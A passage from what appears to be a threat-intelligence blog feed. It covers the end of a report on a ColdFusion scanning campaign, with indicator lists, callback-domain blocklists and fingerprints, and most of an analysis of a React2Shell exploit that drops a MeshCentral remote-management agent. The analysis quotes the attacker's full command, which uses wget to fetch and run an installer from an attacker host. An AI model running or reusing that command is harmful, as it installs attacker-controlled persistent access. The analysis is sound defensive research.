</tr>
</tbody>
</table>
</section>
<section id="technology-targets" class="level3">
<h3 class="anchored" data-anchor-id="technology-targets">Technology Targets</h3>
<p>The campaign targeted 47+ distinct technology stacks:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 29%">
<col style="width: 41%">
<col style="width: 29%">
</colgroup>
<thead>
<tr class="header">
<th>Category</th>
<th>Technologies</th>
<th>Requests</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Java Application Servers</td>
<td>Tomcat, WebLogic, JBoss, GlassFish</td>
<td>132,113</td>
</tr>
<tr class="even">
<td>Web Frameworks</td>
<td>Apache, Struts, Spring, ThinkPHP</td>
<td>91,253</td>
</tr>
<tr class="odd">
<td>CMS Platforms</td>
<td>WordPress, Joomla, Drupal, vBulletin</td>
<td>72,711</td>
</tr>
<tr class="even">
<td>Atlassian Products</td>
<td>Confluence, Bitbucket</td>
<td>19,494</td>
</tr>
<tr class="odd">
<td>Network Devices</td>
<td>D-Link, Cisco, Netgear, TP-Link, Zyxel, F5</td>
<td>36,355</td>
</tr>
<tr class="even">
<td>Surveillance Systems</td>
<td>Dahua, Hikvision</td>
<td>7,636</td>
</tr>
<tr class="odd">
<td>Monitoring Tools</td>
<td>Nagios, Zabbix, Grafana, Kibana</td>
<td>11,507</td>
</tr>
<tr class="even">
<td>Enterprise Applications</td>
<td>SAP, Zoho, ColdFusion, Oracle</td>
<td>35,613</td>
</tr>
</tbody>
</table>
</section>
<section id="attack-category-distribution" class="level3">
<h3 class="anchored" data-anchor-id="attack-category-distribution">Attack Category Distribution</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Category</th>
<th>Unique Tags</th>
<th>Requests</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Reconnaissance</td>
<td>53</td>
<td>1,431,870</td>
<td>56.4%</td>
</tr>
<tr class="even">
<td>CVE Exploits</td>
<td>776</td>
<td>434,984</td>
<td>17.1%</td>
</tr>
<tr class="odd">
<td>LFI/Path Traversal</td>
<td>38</td>
<td>236,718</td>
<td>9.3%</td>
</tr>
<tr class="even">
<td>RCE/Command Injection</td>
<td>190</td>
<td>100,552</td>
<td>4.0%</td>
</tr>
<tr class="odd">
<td>OAST Callbacks</td>
<td>1</td>
<td>95,402</td>
<td>3.8%</td>
</tr>
<tr class="even">
<td>Authentication Attacks</td>
<td>61</td>
<td>88,345</td>
<td>3.5%</td>
</tr>
<tr class="odd">
<td>SQL Injection</td>
<td>47</td>
<td>19,929</td>
<td>0.8%</td>
</tr>
<tr class="even">
<td>File Upload</td>
<td>21</td>
<td>13,293</td>
<td>0.5%</td>
</tr>
<tr class="odd">
<td>SSRF</td>
<td>17</td>
<td>9,270</td>
<td>0.4%</td>
</tr>
</tbody>
</table>
</section>
<section id="operational-characteristics" class="level3">
<h3 class="anchored" data-anchor-id="operational-characteristics">Operational Characteristics</h3>
<p>The 4,118 unique JA4H fingerprints and ~10,000 OAST domains suggest:</p>
<ul>
<li>Template-based scanning (likely Nuclei or similar)</li>
<li>Per-target or per-vulnerability callback tracking</li>
<li>Automated payload rotation</li>
<li>Systematic coverage of the vulnerability landscape</li>
</ul>
<hr>
</section>
</section>
<section id="indicators-of-compromise" class="level2">
<h2 class="anchored" data-anchor-id="indicators-of-compromise">Indicators of Compromise</h2>
<p>Ian Campbell/DomainTools has <a href="https://masto.deoan.org/@neurovagrant/115786014818855845">provided DNS-based IOC data</a> for recent OAST domains:</p>
<p><a href="https://masto.deoan.org/@neurovagrant/115786014818855845"><img style="width:50%;margin-left:auto;margin-right:auto;display:block;" src="https://www.labs.greynoise.io/grimoire/2025-12-26-coldfusion/media/neurovagrant.png"></a></p>
<section id="ip-addresses" class="level3">
<h3 class="anchored" data-anchor-id="ip-addresses">IP Addresses</h3>
<pre><code># Primary Threat Actor (CTG Server Limited) - BLOCK IMMEDIATELY
134.122.136.119
134.122.136.96

# Secondary Actors
23.234.85.20
38.225.206.87
38.225.206.88
172.81.132.99

# Cloudflare-Proxied (may be legitimate traffic behind CF)
172.68.119.26
162.159.110.4</code></pre>
</section>
<section id="asn" class="level3">
<h3 class="anchored" data-anchor-id="asn">ASN</h3>
<pre><code>AS152194  # CTG Server Limited - Primary actor
AS11878   # tzulo, inc.
AS150654  # Kennies Star India
AS27176   # DataWagon LLC</code></pre>
</section>
<section id="dns-blocklist-interactsh-callback-domains" class="level3">
<h3 class="anchored" data-anchor-id="dns-blocklist-interactsh-callback-domains">DNS Blocklist (Interactsh Callback Domains)</h3>
<pre><code>*.oast.pro
*.oast.site
*.oast.me
*.oast.online
*.oast.fun
*.oast.live</code></pre>
</section>
<section id="ja4-fingerprints" class="level3">
<h3 class="anchored" data-anchor-id="ja4-fingerprints">JA4+ Fingerprints</h3>
<pre><code># JA4T (TCP)
64240_2-4-8-1-3_1460_7
64240_2-4-8-1-3_1360_7
64620_2-4-8-1-3_1436_7
64740_2-4-8-1-3_1245_7

# JA4H (HTTP)
po11nn060000_4ea4093e6290_000000000000_000000000000
ge11nn040000_532a1ee47909_000000000000_000000000000
ge11nn06en00_0e5d97bc8ad6_000000000000_000000000000</code></pre>
</section>
<section id="sample-callback-domains" class="level3">
<h3 class="anchored" data-anchor-id="sample-callback-domains">Sample Callback Domains</h3>
<pre><code>d4rrp47fn3bphsg36ktgrnxs88i793xh8.oast.fun
d4rrp47fn3bphsg36ktgwmhg6gs184cgp.oast.fun
d4ttv6m52uktrcfij1mg4z1sxco79xbrx.oast.site
d4ttv6m52uktrcfij1mgretwywufsexrr.oast.site
d560h4t0mm9g3ve8u8007go4bggx4mfip.oast.pro
d560h4t0mm9g3ve8u800f5ujdfhi58ty7.oast.pro
d565pronu06u9lln5rug1mt8wad5fbgrk.oast.pro
d565pronu06u9lln5rugt8mt8gngf4m1m.oast.pro
d56bg80or2rkvmbdrmq04dqz3ahrwu8ft.oast.fun
d56bg80or2rkvmbdrmq0gszxyj9npxnx5.oast.fun</code></pre>
<hr>
</section>
</section>
<section id="appendix-attack-timeline" class="level2">
<h2 class="anchored" data-anchor-id="appendix-attack-timeline">Appendix: Attack Timeline</h2>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Date</th>
<th>Hour Range (UTC)</th>
<th>Requests</th>
<th>Primary Actor</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Dec 23</td>
<td>07:00-15:00</td>
<td>37</td>
<td>Mixed</td>
</tr>
<tr class="even">
<td>Dec 24</td>
<td>08:00-21:00</td>
<td>25</td>
<td>Mixed</td>
</tr>
<tr class="odd">
<td>Dec 25</td>
<td>04:00-23:00</td>
<td>4,014</td>
<td>CTG Server Limited</td>
</tr>
<tr class="even">
<td>Dec 26</td>
<td>00:00-10:00</td>
<td>1,864</td>
<td>CTG Server Limited</td>
</tr>
</tbody>
</table>
<p><strong>Peak Hour:</strong> December 25, 15:00 UTC (317 requests)</p>
<hr>
</section>
<section id="references" class="level2">
<h2 class="anchored" data-anchor-id="references">References</h2>
<ul>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26359">CVE-2023-26359</a> - Adobe ColdFusion Deserialization RCE</li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-38205">CVE-2023-38205</a> - Adobe ColdFusion Access Control Bypass</li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-20767">CVE-2024-20767</a> - Adobe ColdFusion Arbitrary File Read</li>
<li><a href="https://github.com/projectdiscovery/interactsh">ProjectDiscovery Interactsh</a> - OAST Platform</li>
<li><a href="https://github.com/FoxIO-LLC/ja4">JA4+ Fingerprinting</a> - Network Fingerprint Methodology</li>
<li><a href="https://www.silentpush.com/blog/infrastructure-laundering/">Silent Push - Infrastructure Laundering</a> - FUNNULL CDN Analysis (May 2025)</li>
</ul>


</section>

 ]]></description>
  <category>coldfusion</category>
  <category>projectdiscovery</category>
  <category>interactsh</category>
  <category>rce</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <guid>https://www.labs.greynoise.io/grimoire/2025-12-26-coldfusion/</guid>
  <pubDate>Fri, 26 Dec 2025 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2025-12-26-coldfusion/media/cover.png" medium="image" type="image/png" height="125" width="144"/>
</item>
<item>
  <title>React2Shell Side Quest: Tracking Down Malicious MeshCentral Nodes</title>
  <dc:creator>hrbrmstr </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2025-12-09-react2shell-meshcentral/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<p>While spelunking through the noise of <strong>React2Shell</strong> initial access payloads, we were diverted down a side quest when we spotted an exploit attempting to drop a well-known Remote Monitoring and Management (RMM) agent: <strong>MeshCentral</strong>. This payload execution chain is a classic <em>Exploit-to-RMM-Agent-to-Persistence</em>, which can be a useful if not powerful combination, and it led us to check just how “Mesh-y” our GreyNoise data has become.</p>
<section id="initial-access-payload-analysis" class="level3">
<h3 class="anchored" data-anchor-id="initial-access-payload-analysis">Initial Access &amp; Payload Analysis</h3>
<p>The exploit arrived as a <a href="https://viz.greynoise.io/tags/react-server-components-unsafe-deserialization-cve-2025-55182-rce-attempt?days=10">React Server Components Unsafe Deserialization RCE Attempt</a>, leveraging the recently disclosed <strong>CVE-2025-55182</strong> and <strong>CVE-2025-66478</strong>. The malicious request payload was a standard JSON structure with the <code>_prefix</code> field containing the command for persistence.</p>
<table class="caption-top table">
<colgroup>
<col style="width: 50%">
<col style="width: 50%">
</colgroup>
<thead>
<tr class="header">
<th style="text-align: left;">Key Attack Details</th>
<th style="text-align: left;">Value/Description</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td style="text-align: left;"><strong>Exploit</strong></td>
<td style="text-align: left;">React2Shell (CVE-2025-55182 / CVE-2025-66478)</td>
</tr>
<tr class="even">
<td style="text-align: left;"><strong>Attacker IP</strong></td>
<td style="text-align: left;"><code>74.93.203.1</code></td>
</tr>
<tr class="odd">
<td style="text-align: left;"><strong>Source Geo</strong></td>
<td style="text-align: left;">Odenton, Maryland, United States (ASN: <code>AS7922</code>, Comcast)</td>
</tr>
<tr class="even">
<td style="text-align: left;"><strong>Malicious Command</strong></td>
<td style="text-align: left;"><code>process.mainModule.require("child_process").execSync('wget "https://check.aupporte.com/meshagents?script=1" --no-check-certificate -O /tmp/meshinstall.sh &amp;&amp; chmod +x /tmp/meshinstall.sh &amp;&amp; /tmp/meshinstall.sh https://check.aupporte.com 'aWU1moxv3TXRcPk1GHhGGkg4yIJITOK1ZWkcXwggQmzehGT9az81MxSgXJ3bicQA'');</code></td>
</tr>
</tbody>
</table>
<p>The exploit’s goal is immediately clear: to download, set permissions, and execute a shell script (<code>/tmp/meshinstall.sh</code>) that installs a MeshCentral agent, establishing persistent access.</p>
</section>
<section id="domain-and-infrastructure-investigation" class="level3">
<h3 class="anchored" data-anchor-id="domain-and-infrastructure-investigation">Domain and Infrastructure Investigation</h3>
<p>The malicious domain, <code>aupporte.com</code>, was registered very recently (just a few weeks before the attack):</p>
<ul>
<li><strong>Domain Name:</strong> <code>AUPPORTE.COM</code></li>
<li><strong>Creation Date:</strong> 2025-11-17T20:31:40Z</li>
<li><strong>Registrar:</strong> NameCheap, Inc.</li>
<li><strong>Registry Expiry:</strong> 2026-11-17T20:31:40Z</li>
</ul>
<p>The staging host, <code>check.aupporte.com</code>, resolves to the IP address <code>62.60.135.34</code>.</p>
<ul>
<li><strong>Staging IP:</strong> <code>62.60.135.34</code></li>
<li><strong>Hosting Geo:</strong> Tehran, Iran, Islamic Republic Of</li>
<li><strong>Autonomous System (AS):</strong> <code>AS208137</code> (FPS12 Feo Prest SRL, RO)</li>
</ul>
<p><img src="https://www.labs.greynoise.io/grimoire/2025-12-09-react2shell-meshcentral/media/censys-domain.png" class="img-fluid"></p>
<p>Curiously, Censys also <a href="https://platform.censys.io/hosts/62.60.135.34?at_time=2025-12-09T04:53:59.468565091Z&amp;org=2b39685d-46bb-495f-b374-0eae708638e4">shows</a> this IP as being located in Kerkrade, Netherlands (IPNET AOFB-TELECOM). This disparity in geolocation is often a flag for potentially compromised or fast-flux infrastructure, but is also a cautionary tale of placing too much trust in even country-level geolocation.</p>
</section>
<section id="meshcentral-installer-script" class="level3">
<h3 class="anchored" data-anchor-id="meshcentral-installer-script">MeshCentral Installer Script</h3>
<p>The <a href="https://www.virustotal.com/gui/file/bf876e0af91ca494469be4b45b170e698913c89a37a291e6d3b755c7edd5fb81/behavior">shell script</a>, <code>meshinstall.sh</code> (SHA256: <code>bf876e0af91ca494469be4b45b170e698913c89a37a291e6d3b755c7edd5fb81</code>), is a standard MeshCentral Bash used to install the MeshCentral agent.</p>
<p>The script performs the following key functions:</p>
<ul>
<li><strong><code>CheckStartupType</code></strong>: Detects the platform’s startup system (<code>Systemd</code>, <code>Upstart</code>, <code>init.d</code>, or <code>BSD</code>).</li>
<li><strong><code>UpdateMshFile</code></strong>: Updates the MeshCentral settings file (<code>meshagent.msh</code>) to include the detected <code>StartupType</code>.</li>
<li><strong><code>CheckInstallAgent</code></strong>: Validates the arguments, determines the host’s machine ID (<code>machineid</code>) based on architecture (<code>x86_64</code>, <code>armv6l</code>, <code>aarch64</code>, etc.) and OS, and then calls <code>DownloadAgent</code>.</li>
<li><strong><code>DownloadAgent</code></strong>: Downloads the platform-specific <code>meshagent</code> binary and the device group settings (<code>meshagent.msh</code>) from the malicious host. If HTTPS fails, it falls back to HTTP.</li>
<li><strong>Installation</strong>: The script executes the downloaded agent with the full install command: <code>./meshagent -fullinstall --copy-msh=1 $webproxy</code>.</li>
</ul>
<p>Notably, the script checks if the user is <code>root</code> before proceeding with the install/uninstall logic, echoing the requirement: “Must be root to install or uninstall the agent”. The unique, lengthy string passed as the <code>deviceGroupId</code> in the initial exploit command (<code>aWU1moxv3TXRcPk1GHhGGkg4yIJITOK1ZWkcXwggQmzehGT9az81MxSgXJ3bicQA</code>) is consistent with the MeshCentral installation process.</p>
</section>
<section id="meshcentral-in-the-wild" class="level3">
<h3 class="anchored" data-anchor-id="meshcentral-in-the-wild">MeshCentral in the Wild</h3>
<p>Given this explicit use of MeshCentral for post-exploitation persistence, we pivoted to gauge the wider presence of MeshCentral nodes that could potentially be either targets or parts of an attacker-controlled network.</p>
<p><img src="https://www.labs.greynoise.io/grimoire/2025-12-09-react2shell-meshcentral/media/censys-map.png" class="img-fluid"></p>
<p>Censys currently <a href="https://platform.censys.io/search?q=host.services.software.vendor+%3D+%22meshcentral%22&amp;org=2b39685d-46bb-495f-b374-0eae708638e4">tracks</a> <strong>~5,700</strong> MeshCentral nodes globally. The US leads the host count with 1,456, followed by Germany (855), and France (431).</p>
<p>In the GreyNoise Observation Grid over the past 90 days, we’ve seen 116 unique IPs associated with MeshCentral. While most of this traffic is associated with common noise (e.g., Mirai scanning), we have confirmed <strong>two</strong> IPs in the past week conducting <strong>React Server Components Unsafe Deserialization CVE-2025-55182 RCE Attempts</strong>:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 20%">
<col style="width: 20%">
<col style="width: 20%">
<col style="width: 20%">
<col style="width: 20%">
</colgroup>
<thead>
<tr class="header">
<th style="text-align: left;">IP</th>
<th style="text-align: left;">ASN</th>
<th style="text-align: left;">Organization</th>
<th style="text-align: left;">Source Country</th>
<th style="text-align: left;">First Seen</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td style="text-align: left;"><code>72.62.67.33</code></td>
<td style="text-align: left;">AS47583</td>
<td style="text-align: left;">Hostinger International Limited</td>
<td style="text-align: left;">Malaysia</td>
<td style="text-align: left;">2025-12-06</td>
</tr>
<tr class="even">
<td style="text-align: left;"><code>45.32.102.91</code></td>
<td style="text-align: left;">AS20473</td>
<td style="text-align: left;">The Constant Company, LLC</td>
<td style="text-align: left;">Singapore</td>
<td style="text-align: left;">2025-12-05</td>
</tr>
</tbody>
</table>
<p>These two IPs, including the one that kicked off this investigation (<code>74.93.203.1</code>), are a clear sign that threat actors are operationalizing React2Shell with an eye toward dropping RMM agents like MeshCentral for long-term control.</p>
<p>A more troubling observation is the ramp-up in use of MeshCentral in attacker campaigns seen in GreyNoise:</p>
<p><img src="https://www.labs.greynoise.io/grimoire/2025-12-09-react2shell-meshcentral/media/gn-mesh.png" class="img-fluid"></p>
<p>They’re in some truly bad neighborhoods:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 12%">
<col style="width: 7%">
<col style="width: 59%">
<col style="width: 11%">
<col style="width: 8%">
</colgroup>
<thead>
<tr class="header">
<th style="text-align: left;">ip</th>
<th style="text-align: left;">asn</th>
<th style="text-align: left;">organization</th>
<th style="text-align: left;">source_country</th>
<th style="text-align: left;">first_seen</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td style="text-align: left;">45.77.25.135</td>
<td style="text-align: left;">AS20473</td>
<td style="text-align: left;">The Constant Company, LLC</td>
<td style="text-align: left;">Japan</td>
<td style="text-align: left;">2025-11-07</td>
</tr>
<tr class="even">
<td style="text-align: left;">188.235.255.24</td>
<td style="text-align: left;">AS50544</td>
<td style="text-align: left;">JSC “ER-Telecom Holding”</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-07</td>
</tr>
<tr class="odd">
<td style="text-align: left;">217.25.230.193</td>
<td style="text-align: left;">AS6856</td>
<td style="text-align: left;">AO IK “Informsvyaz-Chernozemye”</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-07</td>
</tr>
<tr class="even">
<td style="text-align: left;">5.19.252.106</td>
<td style="text-align: left;">AS41733</td>
<td style="text-align: left;">JSC “ER-Telecom Holding”</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-07</td>
</tr>
<tr class="odd">
<td style="text-align: left;">155.212.24.85</td>
<td style="text-align: left;">AS3226</td>
<td style="text-align: left;">OOO “NI”</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-07</td>
</tr>
<tr class="even">
<td style="text-align: left;">94.231.165.233</td>
<td style="text-align: left;">AS48940</td>
<td style="text-align: left;">Link Ltd.</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-07</td>
</tr>
<tr class="odd">
<td style="text-align: left;">46.146.204.160</td>
<td style="text-align: left;">AS12768</td>
<td style="text-align: left;">JSC “ER-Telecom Holding”</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-07</td>
</tr>
<tr class="even">
<td style="text-align: left;">31.148.19.243</td>
<td style="text-align: left;">AS49811</td>
<td style="text-align: left;">Uzlovaya.net Ltd</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-07</td>
</tr>
<tr class="odd">
<td style="text-align: left;">46.166.94.58</td>
<td style="text-align: left;">AS15774</td>
<td style="text-align: left;">Limited Liability Company “TTK-Svyaz”</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-07</td>
</tr>
<tr class="even">
<td style="text-align: left;">85.12.204.111</td>
<td style="text-align: left;">AS28890</td>
<td style="text-align: left;">INSYS ISP</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-07</td>
</tr>
<tr class="odd">
<td style="text-align: left;">89.248.163.209</td>
<td style="text-align: left;">AS202425</td>
<td style="text-align: left;">IP Volume inc</td>
<td style="text-align: left;">Netherlands</td>
<td style="text-align: left;">2025-11-08</td>
</tr>
<tr class="even">
<td style="text-align: left;">5.181.177.108</td>
<td style="text-align: left;">AS214677</td>
<td style="text-align: left;">Matteo Martelloni trading as DELUXHOST</td>
<td style="text-align: left;">Netherlands</td>
<td style="text-align: left;">2025-11-08</td>
</tr>
<tr class="odd">
<td style="text-align: left;">89.223.87.218</td>
<td style="text-align: left;">AS56534</td>
<td style="text-align: left;">Comfortel Ltd.</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-10</td>
</tr>
<tr class="even">
<td style="text-align: left;">78.140.8.151</td>
<td style="text-align: left;">AS31357</td>
<td style="text-align: left;">Limited Company Information and Consulting Agency</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-10</td>
</tr>
<tr class="odd">
<td style="text-align: left;">195.208.164.131</td>
<td style="text-align: left;">AS34858</td>
<td style="text-align: left;">Telezon-Seti LLC</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-10</td>
</tr>
<tr class="even">
<td style="text-align: left;">83.69.215.234</td>
<td style="text-align: left;">AS29226</td>
<td style="text-align: left;">JSC Mastertel</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-10</td>
</tr>
<tr class="odd">
<td style="text-align: left;">91.215.189.209</td>
<td style="text-align: left;">AS49701</td>
<td style="text-align: left;">RIA Link Ltd</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-10</td>
</tr>
<tr class="even">
<td style="text-align: left;">194.147.222.80</td>
<td style="text-align: left;">AS48551</td>
<td style="text-align: left;">Sindad Network Technology PJSC</td>
<td style="text-align: left;">Iran</td>
<td style="text-align: left;">2025-11-11</td>
</tr>
<tr class="odd">
<td style="text-align: left;">85.113.58.83</td>
<td style="text-align: left;">AS34533</td>
<td style="text-align: left;">JSC “ER-Telecom Holding”</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-11</td>
</tr>
<tr class="even">
<td style="text-align: left;">109.195.4.153</td>
<td style="text-align: left;">AS50498</td>
<td style="text-align: left;">JSC “ER-Telecom Holding”</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-11</td>
</tr>
<tr class="odd">
<td style="text-align: left;">109.206.128.175</td>
<td style="text-align: left;">AS47914</td>
<td style="text-align: left;">OOO Creative Direct Marketing Solutions</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-11</td>
</tr>
<tr class="even">
<td style="text-align: left;">209.15.114.189</td>
<td style="text-align: left;">AS135566</td>
<td style="text-align: left;">Thailand Government Data Center and Cloud service (TGDCC)</td>
<td style="text-align: left;">Thailand</td>
<td style="text-align: left;">2025-11-11</td>
</tr>
<tr class="odd">
<td style="text-align: left;">146.66.164.235</td>
<td style="text-align: left;">AS42893</td>
<td style="text-align: left;">Home Internet Ltd</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-12</td>
</tr>
<tr class="even">
<td style="text-align: left;">212.15.50.92</td>
<td style="text-align: left;">AS210928</td>
<td style="text-align: left;">RDB 24, Ltd.</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-12</td>
</tr>
<tr class="odd">
<td style="text-align: left;">213.32.110.217</td>
<td style="text-align: left;">AS16276</td>
<td style="text-align: left;">OVH SAS</td>
<td style="text-align: left;">France</td>
<td style="text-align: left;">2025-11-13</td>
</tr>
<tr class="even">
<td style="text-align: left;">176.97.103.47</td>
<td style="text-align: left;">AS47236</td>
<td style="text-align: left;">CityLink Ltd</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-13</td>
</tr>
<tr class="odd">
<td style="text-align: left;">93.115.175.99</td>
<td style="text-align: left;">AS199785</td>
<td style="text-align: left;">Cloud Hosting Solutions, Limited.</td>
<td style="text-align: left;">Germany</td>
<td style="text-align: left;">2025-11-14</td>
</tr>
<tr class="even">
<td style="text-align: left;">78.157.253.58</td>
<td style="text-align: left;">AS42742</td>
<td style="text-align: left;">InterkamService LLC</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-14</td>
</tr>
<tr class="odd">
<td style="text-align: left;">62.60.131.43</td>
<td style="text-align: left;">AS208137</td>
<td style="text-align: left;">Feo Prest SRL</td>
<td style="text-align: left;">Netherlands</td>
<td style="text-align: left;">2025-11-15</td>
</tr>
<tr class="even">
<td style="text-align: left;">185.253.100.58</td>
<td style="text-align: left;">AS12494</td>
<td style="text-align: left;">OOO “Post ltd”</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-17</td>
</tr>
<tr class="odd">
<td style="text-align: left;">83.220.43.58</td>
<td style="text-align: left;">AS31261</td>
<td style="text-align: left;">PJSC MegaFon</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-18</td>
</tr>
<tr class="even">
<td style="text-align: left;">154.144.247.249</td>
<td style="text-align: left;">AS6713</td>
<td style="text-align: left;">Office National des Postes et Telecommunications ONPT (Maroc Telecom) / IAM</td>
<td style="text-align: left;">Morocco</td>
<td style="text-align: left;">2025-11-19</td>
</tr>
<tr class="odd">
<td style="text-align: left;">159.89.35.131</td>
<td style="text-align: left;">AS14061</td>
<td style="text-align: left;">DigitalOcean, LLC</td>
<td style="text-align: left;">United States</td>
<td style="text-align: left;">2025-11-20</td>
</tr>
<tr class="even">
<td style="text-align: left;">5.202.84.190</td>
<td style="text-align: left;">AS49100</td>
<td style="text-align: left;">Pishgaman Toseeh Ertebatat Company (Private Joint Stock)</td>
<td style="text-align: left;">Iran</td>
<td style="text-align: left;">2025-11-22</td>
</tr>
<tr class="odd">
<td style="text-align: left;">185.186.50.228</td>
<td style="text-align: left;">AS43395</td>
<td style="text-align: left;">Pooya Parto Qeshm Cooperative Company</td>
<td style="text-align: left;">Iran</td>
<td style="text-align: left;">2025-11-23</td>
</tr>
<tr class="even">
<td style="text-align: left;">46.12.211.150</td>
<td style="text-align: left;">AS1241</td>
<td style="text-align: left;">Forthnet</td>
<td style="text-align: left;">Greece</td>
<td style="text-align: left;">2025-11-24</td>
</tr>
<tr class="odd">
<td style="text-align: left;">213.108.39.233</td>
<td style="text-align: left;">AS215179</td>
<td style="text-align: left;">Smart Home Limited Liability Company</td>
<td style="text-align: left;">Russia</td>
<td style="text-align: left;">2025-11-24</td>
</tr>
<tr class="even">
<td style="text-align: left;">87.251.67.85</td>
<td style="text-align: left;">AS212835</td>
<td style="text-align: left;">Shesternin Vladimir Anatolievich</td>
<td style="text-align: left;">Netherlands</td>
<td style="text-align: left;">2025-11-26</td>
</tr>
<tr class="odd">
<td style="text-align: left;">210.16.67.178</td>
<td style="text-align: left;">AS395092</td>
<td style="text-align: left;">Shock Hosting LLC</td>
<td style="text-align: left;">Singapore</td>
<td style="text-align: left;">2025-11-26</td>
</tr>
<tr class="even">
<td style="text-align: left;">212.102.107.20</td>
<td style="text-align: left;">AS198178</td>
<td style="text-align: left;">365.partners INC</td>
<td style="text-align: left;">Turkey</td>
<td style="text-align: left;">2025-11-26</td>
</tr>
<tr class="odd">
<td style="text-align: left;">94.154.123.101</td>
<td style="text-align: left;">AS206446</td>
<td style="text-align: left;">CLOUD LEASE Ltd</td>
<td style="text-align: left;">Israel</td>
<td style="text-align: left;">2025-11-30</td>
</tr>
<tr class="even">
<td style="text-align: left;">200.89.178.94</td>
<td style="text-align: left;">AS7303</td>
<td style="text-align: left;">Telecom Argentina S.A.</td>
<td style="text-align: left;">Argentina</td>
<td style="text-align: left;">2025-12-02</td>
</tr>
<tr class="odd">
<td style="text-align: left;">67.211.217.160</td>
<td style="text-align: left;">AS19318</td>
<td style="text-align: left;">Interserver, Inc</td>
<td style="text-align: left;">United States</td>
<td style="text-align: left;">2025-12-04</td>
</tr>
<tr class="even">
<td style="text-align: left;">51.161.15.122</td>
<td style="text-align: left;">AS16276</td>
<td style="text-align: left;">OVH SAS</td>
<td style="text-align: left;">Canada</td>
<td style="text-align: left;">2025-12-05</td>
</tr>
<tr class="odd">
<td style="text-align: left;">45.32.102.91</td>
<td style="text-align: left;">AS20473</td>
<td style="text-align: left;">The Constant Company, LLC</td>
<td style="text-align: left;">Singapore</td>
<td style="text-align: left;">2025-12-05</td>
</tr>
<tr class="even">
<td style="text-align: left;">72.62.67.33</td>
<td style="text-align: left;">AS47583</td>
<td style="text-align: left;">Hostinger International Limited</td>
<td style="text-align: left;">Malaysia</td>
<td style="text-align: left;">2025-12-06</td>
</tr>
<tr class="odd">
<td style="text-align: left;">123.25.116.212</td>
<td style="text-align: left;">AS45899</td>
<td style="text-align: left;">VNPT Corp</td>
<td style="text-align: left;">Vietnam</td>
<td style="text-align: left;">2025-12-06</td>
</tr>
</tbody>
</table>
<p>It will be interesting to see if MeshCentral becomes the “new normal” for remote control.</p>
</section>
<section id="were-tired-too" class="level2">
<h2 class="anchored" data-anchor-id="were-tired-too">We’re Tired Too</h2>
<p>This incident highlights a persistent and frustrating reality for defenders: <strong>the tools attackers love are often the same ones your IT team relies on</strong>.</p>
<p>MeshCentral isn’t malware. It’s a legitimate, open-source RMM platform used by MSPs and IT departments worldwide. The binary won’t trip your AV. The network traffic looks like… well, like RMM traffic, because that’s exactly what it is. This is the “living off the land” problem scaled up. Attackers aren’t just abusing built-in OS utilities anymore; they’re deploying entire legitimate software stacks for persistence.</p>
<p>Compounding this is the sheer <strong>abundance of disposable infrastructure</strong>. A fresh domain on NameCheap costs pocket change. VPS providers with relaxed abuse policies are a dime a dozen. Compromised hosts are everywhere. The attacker in this case stood up <code>aupporte.com</code> less than a month before weaponizing it, and the staging server sits behind ambiguous geolocation that could be Tehran, could be the Netherlands—take your pick. By the time you’ve blocklisted the domain, they’ve spun up three more.</p>
<p><strong>So what can defenders actually do?</strong></p>
<ol type="1">
<li><p><strong>Baseline your RMM footprint.</strong> If your org uses ConnectWise but not MeshCentral, then MeshCentral showing up on an endpoint is a red flag worth investigating—regardless of whether the binary is “clean.”</p></li>
<li><p><strong>Monitor for RMM agent installations, not just executions.</strong> The <code>-fullinstall</code> flag, the creation of <code>.msh</code> config files, the systemd service registration—these are behavioral indicators that matter more than hash-based detection.</p></li>
